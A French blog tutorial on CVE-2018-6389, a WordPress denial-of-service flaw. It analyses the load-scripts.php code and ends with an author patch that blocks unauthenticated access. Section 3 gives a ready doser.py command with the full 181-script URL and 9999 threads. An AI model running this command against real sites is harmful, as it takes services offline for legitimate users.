Attaque DoS sur WordPress - CVE-2018-6389

Bonjour à tous,

Aujourd'hui, nous allons parler d'une vulnéravilité trouvée tout récemment au sein du CMS le plus répendu: WordPress.

Cette faille permet de perpétrer une attaque de type DoS sur un site utilisant ce CMS.

Il est illégal d'utiliser cette attaque sur un serveur qui ne vous appartient pas. Vous êtes responsables de vos actes et fire-DIY ne peut être tenu responsable quant à l'utilisation de cet article à des fins malveillantes.

1. Attaque par déni de service

Une attaque par déni de service (Denial of Service en anglais, abrégée DoS) est une attaque informatique ayant pour but de rendre indisponible un service, d'empêcher les utilisateurs légitimes d'un service de l'utiliser.

Dans le cas d'un site web, le but d'une telle attaque est simple: rendre le site indisponible en noyant le serveur sous des requêtes demandant de lourds traitements.

Les raisons d'une telle attaque sont quant à elles très variées:

  • Demande de rançon
  • Enjeux politiques
  • Concurrence
  • "Simple" envie de nuire
  • ...

Pour de plus amples informations, je vous invite à consulter ces quelques pages:

2. Analyse de la vulnérabilité

WordPress est un CMS open source, c'est-à-dire que son code source est accessible à tous. A partir de là, on peut commencer notre analyse.

Lorsqu'on se balade sur un site WordPress, on peut voir cette URL passer dans les requêtes:

https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

Ici, le fichier load-scripts.php reçoit le paramètre load[] dont la valeur est jquery-ui-core. Dans le corps de la réponse, on voit que le serveur nous retourne le contenu du module jQuery:

server response

Le paramètre load est un tableau PHP qui peut contenir plusieurs valeurs et donc permet de charger plusieurs ressources JS en une seule requête, tout ceci dans le but d'économiser le nombre de requêtes au serveur.

Cette fonctionnalité est disponible pour les pages d'admin mais également sur la page de login wp-login ce qui rend le fichier load-scripts.php accessible à tous, cette page ne requérant pas d'authentification particulière.

Du coup, essayons d'appeler cette url: https://wpserver/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

On s'attend à ce que le serveur charge encore et encore le même fichier jquery-ui-core mais l'utilisation de la fonction PHP array_unique() se charge de supprimer les doublons:


$load = $_GET['load'];
if ( is_array( $load ) ) {
    $load = implode( '', $load );
}

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

if ( empty( $load ) ) {
    exit;
}

En continuant d'analyser le code, on tombe sur quelque chose d'intéressant:


foreach ( $load as $handle ) {
    if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
        continue;
    }
    
    $path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
    $out .= get_file( $path ) . "\n";
}

Il existe une liste de scripts pré-définis (dans $wp_scripts) qui peuvent être demandés par le client via la variable load[]. Cette liste est hard-codée dans le fichier script-loader.php:


$scripts->add( 'jquery-ui-accordion', "/wp-includes/js/jquery/ui/accordion$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-autocomplete', "/wp-includes/js/jquery/ui/autocomplete$dev_suffix.js", array( 'jquery-ui-menu', 'wp-a11y' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-button', "/wp-includes/js/jquery/ui/button$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-datepicker', "/wp-includes/js/jquery/ui/datepicker$dev_suffix.js", array( 'jquery-ui-core' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-dialog', "/wp-includes/js/jquery/ui/dialog$dev_suffix.js", array( 'jquery-ui-resizable', 'jquery-ui-draggable', 'jquery-ui-button', 'jquery-ui-position' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-draggable', "/wp-includes/js/jquery/ui/draggable$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-droppable', "/wp-includes/js/jquery/ui/droppable$dev_suffix.js", array( 'jquery-ui-draggable' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-menu', "/wp-includes/js/jquery/ui/menu$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-mouse', "/wp-includes/js/jquery/ui/mouse$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-position', "/wp-includes/js/jquery/ui/position$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-progressbar', "/wp-includes/js/jquery/ui/progressbar$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-resizable', "/wp-includes/js/jquery/ui/resizable$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-selectable', "/wp-includes/js/jquery/ui/selectable$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-selectmenu', "/wp-includes/js/jquery/ui/selectmenu$dev_suffix.js", array( 'jquery-ui-menu' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-slider', "/wp-includes/js/jquery/ui/slider$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-sortable', "/wp-includes/js/jquery/ui/sortable$dev_suffix.js", array( 'jquery-ui-mouse' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-spinner', "/wp-includes/js/jquery/ui/spinner$dev_suffix.js", array( 'jquery-ui-button' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-tabs', "/wp-includes/js/jquery/ui/tabs$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-tooltip', "/wp-includes/js/jquery/ui/tooltip$dev_suffix.js", array( 'jquery-ui-core', 'jquery-ui-widget', 'jquery-ui-position' ), '1.11.4', 1 );
$scripts->add( 'jquery-ui-widget', "/wp-includes/js/jquery/ui/widget$dev_suffix.js", array( 'jquery' ), '1.11.4', 1 );

Cette liste contient très exactement 181 valeurs. Que se passerait-il alors si on demandait au serveur de charger tous ces fichiers en une seule requête via load-scripts.php ?
A priori, le serveur devrait exécuter 181 actions de lecture/écriture pour nous retourner tout ce petit monde. Essayons simplement avec Postman:

server response

Et c'est ce qui se passe. Le serveur a mis 1 seconde à répondre avec presque 3Mo de données, ce qui le fait bosser dur.

Nous avons là notre porte d'entrée pour une attaque DoS.

3. Exploit de la vulnérabilité

Maintenant que nous avons identifié la vulnérabilité, reste à l'exploiter. Ici, l'attaque consiste simplement à envoyer en boucle cette requête au serveur.

Vous pouvez vous amuser à coder un petit script qui fait le job dans le langage de votre choix, ou bien vous pouvez utiliser le script de l'auteur de la faille. Il s'agit d'un script python baptisé doser.py.

Son utilisation est très simple:


python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

Et devinez quoi ? Ça marche !

Je vous rappel que vous utilisez ce script à vos propres risques et que vous êtes responsables de ce vous ferez avec.

Tant que le script continue d'envoyer massivement des requêtes, le serveur cravache et est trop occupé pour gérer d'autres requêtes entrantes.

Au bout d'un certain temps, le serveur finit par retourner des codes HTTP 502/503/504:

http 502 http 503 http 504

 

4. Comment se protéger

Le découvreur de cette faille a aussitôt informé la communauté bug bouty de WordPress de cette vulnérabilité, ce à quoi on lui répondit:

This kind of thing should really be mitigated at the server or network level rather than the application level, which is outside of WordPress's control.

En gros WordPress ne reconnaît pas la paternité de cette faille et c'est à l'administrateur système de patcher le problème.

Qu'à cela ne tienne, l'auteur a lui-même proposé un patch applicatif, disponible sur son github.

Le patch consiste à ne plus autoriser l'accès aux fichiers load-scripts.php et load-styles.php aux utilisateurs non authentifiés.

Il ne vous reste plus qu'à cloner ce répo et suivre les indications du readme.

Bon courage à tous nos amis dev qui vont se coltiner cette mise à jour 😉

Sources: [1]

Vos réactions (0) :

  1. Sois le/la premier(e) à commenter cet article !
Tu as besoin d'aide ? Utilise le Forum plutôt que les commentaires.

Un commentaire ?

* Champs obligatoires
Utilisation des données

Afin d'améliorer ton expérience utilisateur, nous utilisons des cookies 🍪